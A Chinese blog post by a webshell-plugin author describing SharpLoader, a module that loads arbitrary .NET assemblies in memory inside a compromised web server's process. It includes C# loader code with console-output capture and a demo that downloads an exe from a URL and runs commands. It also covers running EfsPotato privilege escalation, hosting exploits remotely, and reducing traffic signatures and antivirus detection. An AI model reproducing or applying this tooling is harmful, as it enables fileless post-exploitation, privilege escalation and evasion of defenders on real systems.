最近给As-Exploits增加了一个新的模块:SharpLoader。该模块可以从内存中加载任意的assembly程序集,有点类似Cobalt Strike的execute-assembly功能。但是不同的是:cs是进程层面,用的是CLR方式,而WebShell本来就处于C#的进程中,可以调用原生的assembly加载。
CLR方式加载C#整个过程都需要用到dll注入,防守方可以根据这一特点对dll反射等进行监控拦截。而在C#中调用原生的assembly加载跟普通的行为并无区别,更难以检测。
其实仅加载assembly并不难,核心就是调用Assembly.Load。以SharpCradle为例,其核心代码如下:
public static void loadAssembly(byte[] bin, object[] commands)
{
Assembly a = Assembly.Load(bin);
try
{
a.EntryPoint.Invoke(null, new object[] { commands });
}
catch
{
MethodInfo method = a.EntryPoint;
if (method != null)
{
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);
}
}//End try/catch
}//End loadAssembly
难的是加载任意的assembly后如何拿到回显。因为一般C#的各种后渗透工具都是在控制台输出结果,没有办法直接回显到Web。
在哥斯拉中有很多内置的C#模块,但是都是开发者在原版的基础上经过二次改造才内置到了工具里面去,其中主要改造的就是回显部分。当时自己就在想,是否能够找到一种通用的方法,能够去任意的加载各种C#写的payload,而不需要二次开发呢。
研究了一下后搞了个骚操作:我们可以在程序执行的时候把输出流重定向到一个MemoryStream里,程序执行完了再还原回去。
经过改造后的核心代码如下:
//重定向输出
TextWriter tmp = Console.Out;
MemoryStream memoryStream = new MemoryStream();
StreamWriter sw = new StreamWriter(memoryStream);
Console.SetOut(sw);
try
{
a.EntryPoint.Invoke(null, new object[] { commands });
}
catch
{
MethodInfo method = a.EntryPoint;
if (method != null)
{
object o = a.CreateInstance(method.Name);
method.Invoke(o, new object[] { commands });
}
}
finally
{
//增加延时,保证所有输出都进入缓冲区
System.Threading.Thread.Sleep(2000);
sw.Close();
Console.SetOut(tmp);
}
先搞个demo试一下,新建一个测试项目TestRun,这里直接远程获取exe并且加载。
public static void SharpLoaderTest()
{
var run = new SharpLoader.Run();
run.cs = "UTF-8";
string result = run.loadAssemblyByUrl("http://localhost:7777/TestFunc.exe", "cmd /c whoami");
Console.WriteLine(result);
}
其中TestFunc的内容如下:
using System;
using System.Diagnostics;
namespace TestFunc
{
internal class Program
{
public static void Main(string[] args)
{
foreach (var arg in args)
{
Console.WriteLine("arg: " + arg);
}
Process.Start("calc.exe");
}
}
}
测试后发现可以读取到各个参数,并且成功获取了Output的内容。
搞到插件里看看?
插件里也是可以的,换成头像哥的原版efspotato试试
测试内存加载,成功执行命令
URL远程加载成功执行命令
成功!
现在已经可以做到加载任意的.net二进制文件并且拿到回显了,但是在后续测试的过程中发现了一些问题。
在执行带有空格的命令的时候,不能获取预期的结果。
看了下源码,是因为我们的命令行参数在被用空格切割以后,被当作了不同的参数。
预期情况:
efspotato.exe
cmd ->args[0] ->net user
pipe ->args[1]
现在的情况:
efspotato.exe
net ->args[0]
user ->args[1]
在命令行中可以通过引号来解决某个参数中有空格的问题,但是毕竟咱们不是在命令行环境下执行的
改进之后,单个参数的空格中以{*}来作为占位符,最后统一替换掉。
string[] commands = command.Split(' ');
for (int i = 0; i < commands.Length; i++)
{
//特殊标记替换为空格
commands[i] = commands[i].Replace("{*}", " ");
}
改进过后我们就可以成功执行net user命令了
看起来差不多了,但其实还是有优化空间的:assembly在首次加载之后,我们只需要将其保存在上下文中,后续通过反射调用即可,这样无需每次都传递一个assembly过去,流量特征就可以大大减小,在网络环境不好的场景下也非常有用处。
最终版本的界面如下:
以Efspotato为例
选择我们要加载的本地文件即可
把exp托管到一个web上,然后填写远程URl地址
需要注意的是,这里有一个坑。
本来想着可以直接去加载https://github.com/Flangvik/SharpCollection上面各种编译好的payload,但是发现.net 4好像不支持tls1.2???
https://stackoverflow.com/questions/47269609/system-net-securityprotocoltype-tls12-definition-not-found
那还是自己搭个http的服务吧
在前面通过内存或者URL加载过的程序集,后续都可以通过项目名来反射加载。
可以先通过 获取已加载的Assembly 功能来获取之前所有打进去过的项目名,多个结果以|分割
填入你想要反射的Assembly的名称,加上要执行的参数,exploit!
成功调用目标程序集
虽然能够加载任意程序集了,但是很多Payload还是必须要在高权限下面才可以运行,比如说SharpMiniDump ,SharpKatz等,这部分我还没有想好怎么去借助WebShell来实现无文件利用。可能这个模块最大的用处还是用来加载各种提权的exp,不用再做文件层面的免杀了。
As-Exploits 1.5版本还有一些模块的重写没有完成,发布时间待定。说实话我也不知道到底有没有人用,工具也是瞎写写,用起来不顺手欢迎私下跟我提意见交流。
https://github.com/anthemtotheego/SharpCradle
https://docs.microsoft.com/zh-cn/dotnet/api/system.console.setout?view=net-6.0
https://github.com/zcgonvh/EfsPotato